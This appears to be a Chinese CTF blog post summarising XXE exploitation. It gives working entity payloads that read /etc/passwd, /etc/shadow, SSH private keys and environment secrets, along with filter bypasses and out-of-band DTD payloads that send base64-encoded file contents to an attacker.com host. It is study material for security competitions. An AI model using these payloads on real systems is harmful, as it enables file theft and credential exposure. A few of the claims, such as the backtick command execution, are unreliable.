xxe利用总结
2026-03-04 00:00:00 # CTF # XXE

XXE利用方法总结

CTF 中,XXE 是常出现在:

  • XML 文件上传
  • SOAP 接口
  • RSS 订阅
  • 配置文件解析
  • 图片/文档元数据解析(如 .docx, .svg

XXE 利用前提

条件 说明
服务接收 XML 输入 如 POST /upload、GET /xml
使用不安全的 XML 解析器 如 Python xml.etree, Java DocumentBuilder
未禁用 DTD/外部实体 默认解析器常开启 external entities
有回显 / 无回显 决定利用方式

有回显 XXE

基础利用模板

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

服务器返回:

1
2
3
<root>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...</root>

常见利用 Payload

目标 Payload 说明
读取 /etc/passwd file:///etc/passwd
读取 /etc/shadow file:///etc/shadow
读取源码(PHP) php://filter/convert.base64-encode/resource=index.php 绕过文件读取限制,返回 base64
读取环境变量 file:///proc/self/environ 获取 PATH, SECRET_KEY
读取 SSH 私钥 file:///root/.ssh/id_rsa 常见于 Docker/CTF 虚拟机
读取 flag 文件 file:///flagfile:///opt/flag.txt
读取 Web 根目录 file:///var/www/html/index.php 适用于 Apache/Nginx 环境
读取 Windows 系统 file:///C:/Windows/System32/drivers/etc/hosts Windows 环境下使用

绕过技巧

陷阱 绕过方法
返回被过滤 base64 编码:php://filter/convert.base64-encode/resource=/flag → 解码即可
空格被过滤 用注释替代:file:///etc//passwdfile:///etc/passwd/*
file:// 被拦截 尝试 php://inputphp://filterdict://gopher://
只允许 GET SYSTEM + ENTITY 构造在 URL 参数中(如 ?xml=<xml>...</xml>
XML 被转义 <![CDATA[ ... ]]> 包裹实体:<![CDATA[&xxe;]]>

无回显 XXE

核心思路:让服务器“主动请求”我们的服务器 → 通过日志获取数据

方法 1:DNS 外带

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://xxe.attacker.com/?data=cat /flag">
]>
<root>&xxe;</root>

服务器发起 HTTP 请求 → 攻击者在 attacker.com 的服务器日志中看到:

1
192.168.1.10 - - [01/Apr/2025:10:00:00] "GET /?data=cat /flag HTTP/1.1" 200

** cat /flag 不会直接传过去 → 需用 Base64 编码 + DNS Tunnel

方法 2:DNS Tunnel

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&send;</root>

evil.dtd(部署在攻击者服务器):

1
2
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'http://&#x25;file;.attacker.com/'>">
%eval;

原理:

  1. %file; 读取 /flag 并 base64 编码 → 得到 Y2Z0c2hvd3t4eGVfaXNfZW1wb3J0YW50fQ==
  2. %send; 构造请求:http://Y2Z0c2hvd3t4eGVfaXNfZW1wb3J0YW50fQ==.attacker.com/
  3. 攻击者查看 DNS 查询日志 → 解码 base64 → 得 flag!

方法 3:HTTP 外带(SSRF)

1
2
3
4
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com/?data=`cat /flag`">
]>
<root>&xxe;</root>

服务器请求 http://attacker.com/?data=cat%20/flag
若响应时间变长 → 说明命令执行了(需配合 sleep()
但大多数环境不支持命令执行 → 仅用于探测端口 / 文件存在性

方法 4:时间盲注

1
2
3
4
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com/sleep?time=5">
]>
<root>&xxe;</root>

常用于:无回显 + 无法 DNS / HTTP 外带时,确认漏洞存在

CTF 常见 Flag 路径汇总

系统 路径
Linux /flag, /flag.txt, /opt/flag, /home/ctf/flag, /var/www/flag
Docker /flag, /app/flag, /root/flag
Windows C:\flag.txt, C:\Windows\Temp\flag.txt, C:\Users\ctf\flag.txt
PHP 环境 php://filter/convert.base64-encode/resource=index.php
Java 环境 file:///opt/app/flag.txt

XXE 利用流程图

1
2
3
4
5
6
7
8
graph TD
A[收到 XML 输入] --> B{有回显?}
B -- 是 --> C[使用 file:/// 或 php://filter 读取文件]
B -- 否 --> D[尝试 DNS 外带]
D --> E[构造 DTD + %file; + %send;]
E --> F[部署 evil.dtd 到服务器]
F --> G[观察 DNSLog / Interact.sh 日志]
G --> H[Base64 解码得 Flag]
上一页
2026-03-04 00:00:00 # CTF # XXE